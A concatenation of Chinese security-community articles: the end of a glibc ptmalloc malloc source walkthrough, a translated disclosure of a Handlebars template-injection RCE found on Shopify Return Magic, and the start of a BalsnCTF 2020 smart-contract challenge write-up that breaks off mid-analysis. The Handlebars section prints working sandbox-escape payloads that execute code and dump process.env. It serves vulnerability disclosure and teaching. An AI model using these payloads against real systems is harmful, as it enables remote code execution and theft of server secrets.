bck = bin_at(av, victim_index);
fwd = bck->fd;
}
else {
victim_index = largebin_index(size);
bck = bin_at(av, victim_index);
fwd = bck->fd;
/* maintain large bins in sorted order */
if (fwd != bck) {
/* Or with inuse bit to speed comparisons */
size |= PREV_INUSE;
/* if smaller than smallest, bypass loop below */
assert((bck->bk->size & NON_MAIN_ARENA) == 0);
if ((unsigned long)(size) < (unsigned long)(bck->bk->size)) {
fwd = bck;
bck = bck->bk;
victim->fd_nextsize = fwd->fd;
victim->bk_nextsize = fwd->fd->bk_nextsize;
fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;
}
else {
assert((fwd->size & NON_MAIN_ARENA) == 0);
while ((unsigned long) size < fwd->size)
{
fwd = fwd->fd_nextsize;
assert((fwd->size & NON_MAIN_ARENA) == 0);
}
if ((unsigned long) size == (unsigned long) fwd->size)
/* Always insert in the second position. */
fwd = fwd->fd;
else
{
victim->fd_nextsize = fwd;
victim->bk_nextsize = fwd->bk_nextsize;
fwd->bk_nextsize = victim;
victim->bk_nextsize->fd_nextsize = victim;
}
bck = fwd->bk;
}
} else
victim->fd_nextsize = victim->bk_nextsize = victim;
}
mark_bin(av, victim_index);
victim->bk = bck;
victim->fd = fwd;
fwd->bk = victim;
bck->fd = victim;
#define MAX_ITERS 10000
if (++iters >= MAX_ITERS)
break;
上面的代码实现了很简单的功能，如果 size 在 smallbin 范围内，先确定 size 属于哪一条链表，由于 smallbin
的头部插入、尾部取出的特性，所以把表头作为 bck，表头的下一个堆块作为 fwd，最下面的几句代码负责将堆块插入双向链表(学过数据结构的同学应该很熟悉了)。
不过对于 largebin 范围内的 size 情况就不那么简单了，由于 largebin
特殊的结构，想把一个堆块插入到合适的位置是比较复杂的，所以要判断很多的条件来保证效率和正确性。
在遍历 unsorted bin 的循环中有一个 iter 变量，它用来记录当前已经处理了多少个 unsortedbin chunk，为了防止链表中的
chunk 过多导致程序一直处理 unsortedbin，当 iter 超过 10000 时就会跳出循环。
如果前面的代码都不能分配出合适的堆块，那就说明用户的请求可能是 large request，或者 fastbin、smallbin、unsortedbin
都不存在合适的堆块，接下来 ptmalloc 就会开始搜索 largebin，尝试匹配一个合适的堆块。
if (!in_smallbin_range(nb)) { // 判断 nb 是不是 smallbin
bin = bin_at(av, idx); // 获取链表 (idx 是之前计算的 nb 在 largebin 链表的 index)
/* skip scan if empty or largest chunk is too small */
if ((victim = first(bin)) != bin &&
(unsigned long)(victim->size) >= (unsigned long)(nb)) { // 检查对应的链表是否为空，或者其中最大的堆块比 nb 还小？
victim = victim->bk_nextsize;
while (((unsigned long)(size = chunksize(victim)) <
(unsigned long)(nb))) // 开始遍历 largebin，尝试找到一个合适的堆块
victim = victim->bk_nextsize;
/* Avoid removing the first entry for a size so that the skip
list does not have to be rerouted. */
if (victim != last(bin) && victim->size == victim->fd->size)
victim = victim->fd;
remainder_size = size - nb; // 找到一个合适的堆块，计算一下切割后剩余的堆块大小
unlink(victim, bck, fwd); // 将这个堆块从 largebin 卸下
/* Exhaust */
if (remainder_size < MINSIZE) { // 如果切割后剩下的堆块大小 小于最小的堆块(16 or 32) 这个堆块会直接返回给用户，例如 64 位系统，切割剩余的大小为 16，那么用户拿到的堆块中有16 个字节是多出来的(或者说是浪费掉的)
set_inuse_bit_at_offset(victim, size);
if (av != &main_arena)
victim->size |= NON_MAIN_ARENA;
}
/* Split */
else { // 如果切割剩余的堆块大小大于 MINSIZE
remainder = chunk_at_offset(victim, nb);
/* We cannot assume the unsorted list is empty and therefore
have to perform a complete insert here. */
bck = unsorted_chunks(av);
fwd = bck->fd;
if (__builtin_expect (fwd->bk != bck, 0))
{
errstr = "malloc(): corrupted unsorted chunks";
goto errout;
}
remainder->bk = bck;
remainder->fd = fwd;
bck->fd = remainder;
fwd->bk = remainder; // 将切割剩余的部分插入到 unsortedbin 中
if (!in_smallbin_range(remainder_size))
{
remainder->fd_nextsize = NULL;
remainder->bk_nextsize = NULL; // 如果剩下的大小是 largebin，清除它的 fd_nextsize、bk_nextsize 指针(因为它们在 uunsortedbin 中无用)
}
set_head(victim, nb | PREV_INUSE |
(av != &main_arena ? NON_MAIN_ARENA : 0));
set_head(remainder, remainder_size | PREV_INUSE);
set_foot(remainder, remainder_size);
}
check_malloced_chunk(av, victim, nb);
void *p = chunk2mem(victim); // 返回堆块
if (__builtin_expect (perturb_byte, 0))
alloc_perturb (p, bytes);
return p;
}
}
上面的代码用来搜索 largebin 尝试找到合适的堆块，注意 largebin 每个链表所存储的是一定范围的堆块，当找到一个合适大小的堆块时，为了不调整
chunksize 链表，需要避免将 chunk size 链表中的节点取出，所以取 victim->fd 节点对应的 chunk 作为候选
chunk。由于 large bin 链表中的 chunk 也是按大小排序，同一大小的 chunk 有多个时，这些 chunk 必定排在一起，所以
victim->fd 节点对应的 chunk 的大小必定与 victim 的大小一样。
如果切割后剩下的堆块大小 小于最小的堆块(16 or 32) 这个堆块会直接返回给用户，例如 64 位系统，切割剩余的大小为
16，那么用户拿到的堆块中有16 个字节是多出来的(或者说是浪费掉的)。
++idx;
bin = bin_at(av,idx);
block = idx2block(idx);
map = av->binmap[block];
bit = idx2bit(idx);
如果当前链表没有堆块能够满足，就将 idx 加一，目的是移动到下一个 largebin 链表，并且获取这个链表对应的 binmap 中的值，binmap
是分配区当中的一个成员，它用来标识相应的链表中是否存在空闲 chunk，利用 binmap 可以加快查找 chunk 的速度。 这段代码用来查询比 nb
大的链表中是否存在可用的 chunk。
for (;;) { // 进入循环
/* Skip rest of block if there are no more set bits in this block. */
if (bit > map || bit == 0) { // 首先判断 bit 是否大于 map，或者 bit 等于 0？
do { // 循环遍历每个 block，尝试找到一个符合条件的 block
if (++block >= BINMAPSIZE) /* out of bins */
goto use_top;
} while ( (map = av->binmap[block]) == 0);
bin = bin_at(av, (block << BINMAPSHIFT));
bit = 1;
}
/* Advance to bin with set bit. There must be one. */
while ((bit & map) == 0) { // 在 block 中寻找一个不为零的 bit，这个 bit 对应的 bin 中就存在空闲 chunk
bin = next_bin(bin);
bit <<= 1;
assert(bit != 0);
}
/* Inspect the bin. It is likely to be non-empty */
victim = last(bin); // 将上一步找到的 bin 的最后一个堆块取出
/* If a false alarm (empty bin), clear the bit. */
if (victim == bin) { // 判断取出的是不是表头，如果是，说明 bit 命中失败，需要进行调整。
av->binmap[block] = map &= ~bit; /* Write through */ // 清除之前设置的标志位
bin = next_bin(bin); // 获取当前 bin 的下一个 bin，
bit <<= 1; // 将 bit 转移到下一个 bin 的 bit 范围
}
else {
size = chunksize(victim);
/* We know the first chunk in this bin is big enough to use. */
assert((unsigned long)(size) >= (unsigned long)(nb)); // 如果上面取出的 chunk 不是表头，那么这个 chunk 的大小一定大于 nb！
remainder_size = size - nb; // 和之前的代码一样，计算切割后的 chunk 大小
/* unlink */ // 下面的注释省略
unlink(victim, bck, fwd);
/* Exhaust */
if (remainder_size < MINSIZE) {
set_inuse_bit_at_offset(victim, size);
if (av != &main_arena)
victim->size |= NON_MAIN_ARENA;
}
/* Split */
else {
remainder = chunk_at_offset(victim, nb);
/* We cannot assume the unsorted list is empty and therefore
have to perform a complete insert here. */
bck = unsorted_chunks(av);
fwd = bck->fd;
if (__builtin_expect (fwd->bk != bck, 0))
{
errstr = "malloc(): corrupted unsorted chunks 2";
goto errout;
}
remainder->bk = bck;
remainder->fd = fwd;
bck->fd = remainder;
fwd->bk = remainder;
/* advertise as last remainder */
if (in_smallbin_range(nb))
av->last_remainder = remainder;
if (!in_smallbin_range(remainder_size))
{
remainder->fd_nextsize = NULL;
remainder->bk_nextsize = NULL;
}
set_head(victim, nb | PREV_INUSE |
(av != &main_arena ? NON_MAIN_ARENA : 0));
set_head(remainder, remainder_size | PREV_INUSE);
set_foot(remainder, remainder_size);
}
check_malloced_chunk(av, victim, nb);
void *p = chunk2mem(victim); // 返回堆块
if (__builtin_expect (perturb_byte, 0))
alloc_perturb (p, bytes);
return p;
}
}
以上的代码用来处理三种情况，一是 nb 在 smallbin 范围内，二是之前的 largebin 为空，三是之前的 largebin
不为空，但是其中最大的堆块都要比 nb 小。
代码的后半部分和前面的代码类似，区别在于头部引入了 binmap，它是定义在分配区中的成员，具体介绍在上面写过，这段代码的主要功能是遍历剩下的
largebin，直到找到一个包含满足要求的堆块的 bin，并且取出这个 chunk 进行切割，比较难以理解的是针对 binmap
的操作，之所以引入这个东西，是为了加快遍历 largebin 的速度。
> 补： binmap 的大致原理。binmap 一共 128 bit，16 个字节，分成 4 个 int 变量，每一个 int 变量称为一个
> block，每个 block 有 32 个 bit，最多可以表示 32 个 bin 的状态，使用宏 idx2block 可以计算出一个
> index(bin) 在 binmap 中属于哪个 block。 idx2bit 宏取第 i 位为1，剩下的置 0，例如 idx2bit(2) 会生成
> “00000000000000000000000000000100”
其实利用 binmap 来遍历 largebin 和正常遍历效果是一样的，但是利用 binmap 可以很大的提升效率。
当这一步操作也不能满足 nb 时，就需要动用 top chunk 了。
victim = av->top;
size = chunksize(victim);
if ((unsigned long)(size) >= (unsigned long)(nb + MINSIZE)) {
remainder_size = size - nb;
remainder = chunk_at_offset(victim, nb);
av->top = remainder;
set_head(victim, nb | PREV_INUSE |
(av != &main_arena ? NON_MAIN_ARENA : 0));
set_head(remainder, remainder_size | PREV_INUSE);
check_malloced_chunk(av, victim, nb);
void *p = chunk2mem(victim);
if (__builtin_expect (perturb_byte, 0))
alloc_perturb (p, bytes);
return p;
}
流程还是一样的，如果 top chunk size 大于 nb，就从 top chunk 中切割下来 chunk 返回给用户。如果 top chunk
大小也不够了，会先执下面的代码
else if (have_fastchunks(av)) {
assert(in_smallbin_range(nb));
malloc_consolidate(av);
idx = smallbin_index(nb); /* restore original bin index */
}
引用 malloc.c 注释如下
If there is space available in fastbins, consolidate and retry,
to possibly avoid expanding memory. This can occur only if nb is
in smallbin range so we didn't consolidate upon entry.
如果存在 fastbin chunk，就执行 malloc_consolidate 合并 fastbin chunk，然后再尝试
> 为什么还要检查 fastbin？ 两个原因，一是如果开启了 ATOMIC_FASTBINS ，由于 free fastbin chunk
> 的时候不需要加锁，所以 malloc 走到这一步的时候可能已经有其他线程向 fastbin 中注入了新的 chunk，另外一个原因是如果 nb 是一个
> smallbin chunk，走到这一步说明之前所有的分配操作都失败了，但是在分配 smallbin chunk 的时候始终都没有调用过
> malloc_consolidate，所以在 malloc 尾声的时候可以尝试合并 fastbin chunk 构造出符合要求的 chunk。
如果 fastbin 链表是空的，那么无论那一个缓冲区都无法提供合适的堆块了(甚至 top chunk
的空间也不够)，这时就需要映射另一片内存(也就是所谓的 mmap)。
/*
Otherwise, relay to handle system-dependent cases
*/
else {
void *p = sYSMALLOc(nb, av);
if (p != NULL && __builtin_expect (perturb_byte, 0))
alloc_perturb (p, bytes);
return p;
注意调用的依旧是一个外壳函数，叫做 sYSMALLOc。
large bin 的分配逻辑应该是 malloc 中最为复杂的，可以参考下面这张图片
复杂的主要原因是前面尝试通过 fastbin、smallbin、unsortedbin 分配堆块都失败了，但是经过各种切割合并 chunk
的操作之后这些缓冲区中又很有可能出现合适的 chunk ，为了尽量减少向操作系统申请内存的次数，就要极大限度的利用好缓冲区的 chunk。
## malloc 的流程总结
1. 获取分配区的锁。
2. 将用户的请求大小转换为实际需要分配的 chunk 空间大小。
3. 判断所需分配 chunk 是否在 fastbin 区域，如果是的话， 则转下一步，否则跳到第 5 步。
4. 首先尝试在 fastbins 中取一个所需大小的 chunk 分配给用户。 如果可以找到， 则分配结束。 否则转到下一步。
5. 判断所需大小是否处在 small bins 中，如果 chunk 大小处在 smallbins 中，则转下一步，否则转到第 7 步。
6. 根据所需分配的 chunk 的大小， 找到具体所在的某个 smallbin，从该 bin 的尾部摘取一个恰好满足大小的 chunk。 若成功，则分配结束，否则转到下一步。
7. 到了这一步， 说明需要分配的是一块大的内存，或者 small bins 中找不到合适的chunk。于是，ptmalloc 首先会遍历 fastbins 中的 chunk，将相邻的 chunk 进行合并，并链接到 unsorted bin 中， 然后遍历 unsorted bin 中的 chunk，如果 unsorted bin 只有一个 chunk，并且这个 chunk 在上次分配时被使用过，并且所需分配的 chunk 大小属于 small bins，并且 chunk 的大小大于等于需要分配的大小，这种情况下就直接将该 chunk 进行切割，分配结束，否则将根据 chunk 的空间大小将其放入 smallbins 或是 large bins 中，遍历完成后，转入下一步。
8. 到了这一步，说明需要分配的是一块大的内存，或者 small bins 和 unsorted bin 中都找不到合适的 chunk，并且 fast bins 和 unsorted bin 中所有的 chunk 都清除干净了。 从 large bins 中按照“smallest-first， best-fit”原则， 找一个合适的 chunk， 从中划分一块所需大小的 chunk， 并将剩下的部分链接回到 bins 中。 若操作成功， 则分配结束， 否则转到下一步。
9. 如果搜索 fast bins 和 bins 都没有找到合适的 chunk， 那么就需要操作 top chunk 来进行分配了。 判断 top chunk 大小是否满足所需 chunk 的大小， 如果是， 则从 topchunk 中分出一块来。 否则转到下一步。
10. 到了这一步， 说明 top chunk 也不能满足分配要求， 所以， 于是就有了两个选择: 如果是主分配区， 调用 sbrk()， 增加 top chunk 大小； 如果是非主分配区，调用 mmap来分配一个新的 sub-heap，增加 top chunk 大小； 或者使用 mmap()来直接分配。 在这里， 需要依靠 chunk 的大小来决定到底使用哪种方法。 判断所需分配的 chunk大小是否大于等于 mmap 分配阈值， 如果是的话， 则转下一步， 调用 mmap 分配，否则跳到第 12 步， 增加 top chunk 的大小。
11. 使用 mmap 系统调用为程序的内存空间映射一块 chunk_size align 4kB 大小的空间。然后将内存指针返回给用户。
12. 判断是否为第一次调用 malloc， 若是主分配区， 则需要进行一次初始化工作， 分配一块(chunk_size + 128KB) align 4KB 大小的空间作为初始的 heap。 若已经初始化过了， 主分配区则调用 sbrk()增加 heap 空间， 分主分配区则在 top chunk 中切割出一个 chunk， 使之满足分配需求， 并将内存指针返回给用户。
## Reference
<https://bbs.pediy.com/thread-223283.htm>
<https://blog.csdn.net/qq_29343201/article/details/59614863>
<http://www.cnblogs.com/Mainz/p/3546347.html>
<https://blog.csdn.net/sinat_19596835/article/details/81665095>
<https://mqzhuang.iteye.com/blog/1064803>
华庭 《Glibc 内存管理 Ptmalloc2 源代码分析》 | 社区文章 |
# Handlebars模板注入到RCE 0day
|
##### 译文声明
本文是翻译文章，文章原作者 mahmoudsec，文章来源：mahmoudsec.blogspot.com
原文地址：<https://mahmoudsec.blogspot.com/2019/04/handlebars-template-injection-and-rce.html>
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
我们在一个名为 **handlebars** 的JavaScript模板库上发现了一个0day漏洞，这个漏洞可用于获取Shopify Return
Magic应用上的远程代码执行权限。
## 我的心路历程
在2018年10月，Shopify组织HackeOne活动“H1-514”并邀请一些特定的研究人员参与，我是其中之一。在许多Shopify的应用中都包含一个名为“Return
Magic”的应用程序，该程序用于自动化完成Shopify客户的退货流程。
查看这个程序，我找到了一个名为Email
WorkFlow的功能，使用该功能店铺商家能够定制自动发送给需要退货的客户的电子邮件。用户可以在模板中使用一些变量例如：`{{order.number}}`
,`{{email}}`等等。随后，我决定测试该功能是否存在服务端模板注入，输入`{{this}}`
`{{self}}`，然后发送一份测试邮件给我自己，这封邮件内容包含`[object Object]`，这引起了我的注意。
因此，我花了一些时间试图找出这个程序所使用的模板引擎，我搜索了NodeJS模板库上流行的模板库，认为该程序使用的是 **mustache**
（后来发现不是）。然后我测试了mustache模板注入，但没有结果，因为mustache应该是一个logicless（无逻辑）模板引擎，无法调用函数。而然，我可以调用一些对象属性例如`{{this.__proto__}}`，甚至是`{{this.constructor.constructor}}`这样的构造函数。我尝试发送参数值至`this.constructor.constructor()`，但没有成功。
我承认这里没有漏洞，然后继续找别的bug。似乎上帝一定要我找出该漏洞，我在Shopify的slack频道上看到了一条消息，Shopify要求提交“疑似bug”。如果某人找到一些感觉可以利用的东西，他可以提交给Shopify安全团队，如果团队利用了这个漏洞，报告者能够获取全额赏金。我立即提交我所发现的内容，影响部分写为“可能存在服务端模板注入，这将导致服务器接管¯_(ツ)_/¯”。
两个月过去了，我仍没有收到Shopify关于这个“疑似bug”的任何回应，然后我被邀请至巴厘岛参加Synack主办的黑客活动。在那里我与Synack
红队成员碰面，活动结束后我应该回到埃及去，但在飞机起飞前三个小时我改变了注意，决定再待一段时间，然后飞往日本参加TrendMicro
CTF比赛。Synack红队的一些成员也决定延长呆在巴厘岛的时间，其中的一位是Matias，所以我决定与他一起度过这几天。在享受完沙滩和巴厘岛的美景后，我们回到酒店用餐，那时Matias告诉我他曾在一个赏金项目的bug中中用到了JavaScript沙盒逃逸，并确认漏洞。然后，我们整晚都在搜寻对象和构造函数，但是运气不佳，我们无法逃出沙盒。
我脑海中一直浮现出构造函数，我记得曾经在Shopify上找到过模板注入漏洞。我阅读以前的Hackone报告，然后确定模板不是mustanche，我在本地安装mustanche，使用mustanche解析`{{this}}`，返回的内容与Shopify程序不同。我再次搜索流行的NodeJS模板引擎，将那些使用花括号`{{}}`作为模板表达式的模板下载到本地。其中的一个库是
**handlebars** ，当我解析`{{this}}`时它返回了`[object Object]`（与Shopify程序的响应相同）。我查看了
**handlebars** 的文档，发现该模板并没有很多防护模板注入攻击的逻辑。此时我能够访问构造函数了，于是我决定探究参数是如何传递给函数的。
从文档中我还发现开发者能在模版范围内注册helpers的函数。我们可以像这样`{{helper "param1" "param2"
...params}}`传递参数至helpers。首先，我尝试发送`{{this.constructor.constructor
"console.log(process.pid)"}}`，但只返回字符`console.log(process.pid)`。我查看了源代码，想弄清楚发生了什么。在`runtime.js`中，有以下函数：
lambda: function(current, context) {
return typeof current === 'function' ? current.call(context) : current;
}
这个函数检查当前对象是否为“function”类型，如果是它将调用`current.call(context)`（`context`属于模板范围），不是则返回该对象本身。
我进一步分析handlebars文档，发现它在helpers中内置了 “with”, “blockHelperMissing”,
“forEach”函数等等。
审计完helpers的内置函数后，我对如何利用helpers的“with”函数有了一些想法。这个函数用于移动调节模板的context（上下文），因此，我能够在自己的上下文执行`curren.call(context)`。我尝试使用下面这段代码：
{{#with "console.log(process.pid)"}}
{{#this.constructor.constructor}}
{{#this}} {{/this}}
{{/this.constructor.constructor}}
{{/with}}
简单解释一下，将`console.log(process.pid)`作为当前的上下文传输，handlebars编译器遇到`this.constructor.constructor`并将其视为一个函数，它将当前的上下文作为函数参数来调用。然后使用`{{#with
this}}`（我们从函数构造函数调用返回的函数），此时`console.log(process.pid)`应该被执行。
然而这没有起作用，因为`function.call()`用一个`owner`对象作为一个参数，所以第一个参数是`owner`对象，其他的参数是发送给被调用函数的参数。因此，被调用的函数为`current.call(this,
context)`时，上面的payload就可以起作用。
我在巴厘岛呆了两晚然后飞往东京参加TrendMicro CTF。在东京的时候，我的头脑中还是充满着构造函数和对象的影子，我仍在查找沙盒逃逸的方法。
我想到了另一个办法，在上下文中使用`Array.map()`函数来调用构造函数，但仍失败了，因为编译器总是向我调用的任何函数传递一个别的参数，然后发生错误，因为payload被视为函数参数而不是函数体。
{{#with 1 as |int|}}
{{#blockHelperMissing int as |array|}} // This line will create an array and then we can access its constructor
{{#with (array.constructor "console.log(process.pid)")}}
{{this.pop}} // pop unnecessary parameter pushed by the compiler
{{array.map this.constructor.constructor array}}
{{/with}}
{{/blockHelperMissing}}
{{/with}}
这似乎有很多可以逃出沙盒的方法，但是我还面对一个大问题：无论调用模板内的哪个函数，模板编译器将把模板范围内的`Object`添加至最后一个参数。
举个例子，如果我想调用`constructor.constructor("test","test")`，编译器将把它改为`constructor.constructor("test",
"test", this)`再调用，这是因为调用了类似Object.toString()这样的函数，该函数将其转化为一个字符。该匿名函数可能是以下这种形式：
function anonymous(test,test){
[object Object]
}
这将导致错误的发生。
我试了很多方法，但是不够幸运。然后，我决定打开JavaScript文档查阅Object原型，想要找到帮助我实现沙盒逃逸的方法。
我发现可以使用`Object.prototype.defineProperty()`来重写`Object.prototype.toString()`函数，利用这点可以调用返回用户可控的字符串（有效负载）。
因为在该模板中我不能定义函数，所以我需要找到一个已经定义并且在模板范围内容，可以返回用户可控的输入结果的函数。
举个例子，下面这个nodejs 应用程序存在类似漏洞：
test.js
var handlebars = require('handlebars'),
fs = require('fs');
var storeName = "console.log(process.pid)" // this should be a user-controlled string
function getStoreName(){
return storeName;
}
var scope = {
getStoreName: getStoreName
}
fs.readFile('example.html', 'utf-8', function(error, source){
var template = handlebars.compile(source);
var html = template(data);
console.log(html)
});
example.html
{{#with this as |test|}}
// with is a helper that sets whichever assigned to it as the context, we name our context test.
{{#with (test.constructor.getOwnPropertyDescriptor this "getStoreName")}} // get the context resulted from the evaluated function, in this case, the descriptor of this.getStoreName where this is the template scope defined in data variable in test.js
{{#with (test.constructor.defineProperty test.constructor.prototype "toString" this)}} // overwrite Object.prototype.toString with "getStoreName()" defined in test.js
{{#with (test.constructor.constructor "test")}} {{/with}} // call the Function constructor.
{{/with}}
{{/with}}
{{/with}}
如果你运行这个模板，`console.log(process.pid)`将被执行。
$ node test.js
1337
我向Shopify报告如果模板范围内有一个可返回用户可控输入的函数，那么将有可能导致RCE。
后来我跟Ibrahim ([@the_st0rm](https://github.com/the_st0rm
"@the_st0rm"))交流了，他告诉我可以尝试使用`bind()`来构造一个新函数，调用该函数将执行我的RCE Payload。
查阅JavaScript文档：
> bind()方法创建一个新的函数，在调用时设置this关键字为提供的值。并在调用新函数时，将给定参数列表作为原函数的参数序列的前若干项。
现在我的想法是创建一个包含想要执行内容的字符，然后再重写`Object.prototype.toString()`，最后使用`bind()`将该函数绑定`toString()`到一个函数上。
我花了一些时间来将这点应用到handlebars模板上，最后在飞回埃及的航班上我写出了可行Poc（无需在模板范围内自定义函数）。
{{#with this as |obj|}}
{{#with (obj.constructor.keys "1") as |arr|}}
{{arr.pop}}
{{arr.push obj.constructor.name.constructor.bind}}
{{arr.pop}}
{{arr.push "console.log(process.env)"}}
{{arr.pop}}
{{#blockHelperMissing obj.constructor.name.constructor.bind}}
{{#with (arr.constructor (obj.constructor.name.constructor.bind.apply obj.constructor.name.constructor arr))}}
{{#with (obj.constructor.getOwnPropertyDescriptor this 0)}}
{{#with (obj.constructor.defineProperty obj.constructor.prototype "toString" this)}}
{{#with (obj.constructor.constructor "test")}}
{{/with}}
{{/with}}
{{/with}}
{{/with}}
{{/blockHelperMissing}}
{{/with}}
{{/with}}
上面的模板代码如下：
x = ''
myToString = x.constructor.bind.apply(x.constructor, [x.constructor.bind,"console.log(process.pid)"])
myToStringArr = Array(myToString)
myToStringDescriptor = Object.getOwnPropertyDescriptor(myToStringArr, 0)
Object.defineProperty(Object.prototype, "toString", myToStringDescriptor)
Object.constructor("test", this)()
当我在Shopify测试时：
Matias的Poc更加简单：
{{#with "s" as |string|}}
{{#with "e"}}
{{#with split as |conslist|}}
{{this.pop}}
{{this.push (lookup string.sub "constructor")}}
{{this.pop}}
{{#with string.split as |codelist|}}
{{this.pop}}
{{this.push "return JSON.stringify(process.env);"}}
{{this.pop}}
{{#each conslist}}
{{#with (string.sub.apply 0 codelist)}}
{{this}}
{{/with}}
{{/each}}
{{/with}}
{{/with}}
{{/with}}
{{/with}}
总而言之，我可以在Shopify Return Magic应用程序上获取RCE，其实还包括其他使用handlebars作为模板引擎的网站。
我也向npm安全团队报告了这个漏洞，随后handlebars发布禁止访问构造函数的补丁。漏洞公告：<https://www.npmjs.com/advisories/755>
## 总而言之
你能够使用下面的Poc注入到Handlebars模板中：
{{#with this as |obj|}}
{{#with (obj.constructor.keys "1") as |arr|}}
{{arr.pop}}
{{arr.push obj.constructor.name.constructor.bind}}
{{arr.pop}}
{{arr.push "return JSON.stringify(process.env);"}}
{{arr.pop}}
{{#blockHelperMissing obj.constructor.name.constructor.bind}}
{{#with (arr.constructor (obj.constructor.name.constructor.bind.apply obj.constructor.name.constructor arr))}}
{{#with (obj.constructor.getOwnPropertyDescriptor this 0)}}
{{#with (obj.constructor.defineProperty obj.constructor.prototype "toString" this)}}
{{#with (obj.constructor.constructor "test")}}
{{this}}
{{/with}}
{{/with}}
{{/with}}
{{/with}}
{{/blockHelperMissing}}
{{/with}}
{{/with}}
PS：Matias有更加简单的Poc
{{#with "s" as |string|}}
{{#with "e"}}
{{#with split as |conslist|}}
{{this.pop}}
{{this.push (lookup string.sub "constructor")}}
{{this.pop}}
{{#with string.split as |codelist|}}
{{this.pop}}
{{this.push "return JSON.stringify(process.env);"}}
{{this.pop}}
{{#each conslist}}
{{#with (string.sub.apply 0 codelist)}}
{{this}}
{{/with}}
{{/each}}
{{/with}}
{{/with}}
{{/with}}
{{/with}}
对不起，本文篇幅有些长。如果你有任何问题请到推特上私信联系我：@Zombiehelp54 | 社区文章 |
# BalsnCTF 2020 IdleGame
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
这是BalsnCTF中以 ERC20的闪电贷 和 Continuous Token
的概念为基础所出的一道题目。整体来说现在智能合约的出题方向一般不再以简单的合约漏洞为底层。
而是选择了 以 defi 这种去中心化金融的实例作为考察点。或者是考察一些独特的opcode构造。
总的来说我还是更加喜欢 Defi这种更偏向于现实审计的内容。
贴出题目代码：
pragma solidity =0.5.17;
import "./Tokens.sol";
contract BalsnToken is ERC20 {
uint randomNumber = RN;
address public owner;
constructor(uint initialValue) public ERC20("BalsnToken", "BSN") {
owner = msg.sender;
_mint(msg.sender, initialValue);
}
function giveMeMoney() public {
require(balanceOf(msg.sender) == 0, "BalsnToken: you're too greedy");
_mint(msg.sender, 1);
}
}
contract IdleGame is FlashERC20, ContinuousToken {
uint randomNumber = RN;
address public owner;
BalsnToken public BSN;
mapping(address => uint) public startTime;
mapping(address => uint) public level;
event GetReward(address, uint);
event LevelUp(address);
event BuyGamePoints(address, uint, uint);
event SellGamePoints(address, uint, uint);
event SendFlag(address);
constructor (address BSNAddr, uint32 reserveRatio) public ContinuousToken(reserveRatio) ERC20("IdleGame", "IDL") {
owner = msg.sender;
BSN = BalsnToken(BSNAddr);
_mint(msg.sender, 0x9453 * scale);
}
function getReward() public returns (uint) {
uint points = block.timestamp.sub(startTime[msg.sender]);
points = points.add(level[msg.sender]).mul(points);
_mint(msg.sender, points);
startTime[msg.sender] = block.timestamp;
emit GetReward(msg.sender, points);
return points;
}
function levelUp() public {
_burn(msg.sender, level[msg.sender]);
level[msg.sender] = level[msg.sender].add(1);
emit LevelUp(msg.sender);
}
function buyGamePoints(uint amount) public returns (uint) {
uint bought = _continuousMint(amount);
BSN.transferFrom(msg.sender, address(this), amount);
_mint(msg.sender, bought);
emit BuyGamePoints(msg.sender, amount, bought);
return bought;
}
function sellGamePoints(uint amount) public returns (uint) {
uint bought = _continuousBurn(amount);
_burn(msg.sender, amount);
BSN.transfer(msg.sender, bought);
emit SellGamePoints(msg.sender, bought, amount);
return bought;
}
function giveMeFlag() public {
_burn(msg.sender, (10 ** 8) * scale); // pass this
Setup(owner).giveMeFlag(); // hit here
emit SendFlag(msg.sender);
}
}
contract Setup {
uint randomNumber = RN;
bool public sendFlag = false;
BalsnToken public BSN;
IdleGame public IDL;
constructor() public {
uint initialValue = 15000000 * (10 ** 18);
BSN = new BalsnToken(initialValue);
IDL = new IdleGame(address(BSN), 999000);
BSN.approve(address(IDL), uint(-1));
IDL.buyGamePoints(initialValue);
}
function giveMeFlag() public {
require(msg.sender == address(IDL), "Setup: sender incorrect");
sendFlag = true;
}
}
发现其中引入了Tokens.sol 其中没有特殊的漏洞点，这里说明一下里面主要制定了怎样的标准：
1. SafeMath 防止溢出
2. ERC20标准接口
3. Flash Loan ERC20 接口
4. ContinuousToken
我们优先审计 giveMeFlag()相关内容。
function giveMeFlag() public {
_burn(msg.sender, (10 ** 8) * scale); // pass this
Setup(owner).giveMeFlag(); // hit here
emit SendFlag(msg.sender);
}
这里非常明显 首先_burn是 ERC的接口，通过PHPSTORM构建整个目录可以很好的进行函数跳转；我们可以发现就是一个类似于捐款或者说是
销毁一些Token的方法。也就是我们需要有 10^8 *(10^{18}) 可以理解为
10^8 个代币。
之后他会调用SetUp合约的方法
应该只是为了记录成功调用的人。没有具体需要通过的。然后就会触发flag事件了，那我们需要做的就是让我们的账户有足够的代币去消耗。
可以看到在闪电贷的这里
interface IBorrower {
function executeOnFlashMint(uint amount) external;
}
contract FlashERC20 is ERC20 {
event FlashMint(address to, uint amount);
function flashMint(uint amount) external {
_mint(msg.sender, amount);
IBorrower(msg.sender).executeOnFlashMint(amount);
_burn(msg.sender, amount);
emit FlashMint(msg.sender, amount);
}
}
他在一个合约中实现了 Token的 贷款 以及收回
，但是中间它允许执行msg.sender的一个IBorrower方法，那么暂时这个我们可以稍微搁置一下，因为还不知道应该如何进行利用。我们优先往下查看闪电贷中的相关内容。
我们可以关注到我们主要操控的题目合约Idlegame中的几个重要方法：
function buyGamePoints(uint amount) public returns (uint) {
uint bought = _continuousMint(amount);
BSN.transferFrom(msg.sender, address(this), amount);
_mint(msg.sender, bought);
emit BuyGamePoints(msg.sender, amount, bought);
return bought;
}
function sellGamePoints(uint amount) public returns (uint) {
uint bought = _continuousBurn(amount);
_burn(msg.sender, amount);
BSN.transfer(msg.sender, bought);
emit SellGamePoints(msg.sender, bought, amount);
return bought;
}
这里有一个我们没见过的叫_continuousMint和 _continuousBurn的函数
这个我们跟一下
发现来自这里
其中有一个calculateContinuousMintReturn函数 继续跟
可以发现来自如下
我们直接去Ropsten查看源码，应该是一个开源的。
<https://ropsten.etherscan.io/address/0xF88212805fE6e37181DE56440CF350817FF87130#code>
发现比较巨大的代码，选择去网上查询一下他到底是在干什么
我们可以知道他是一种联合曲线模型，相当于用于计算汇率的一种东西。
通过这里的分析
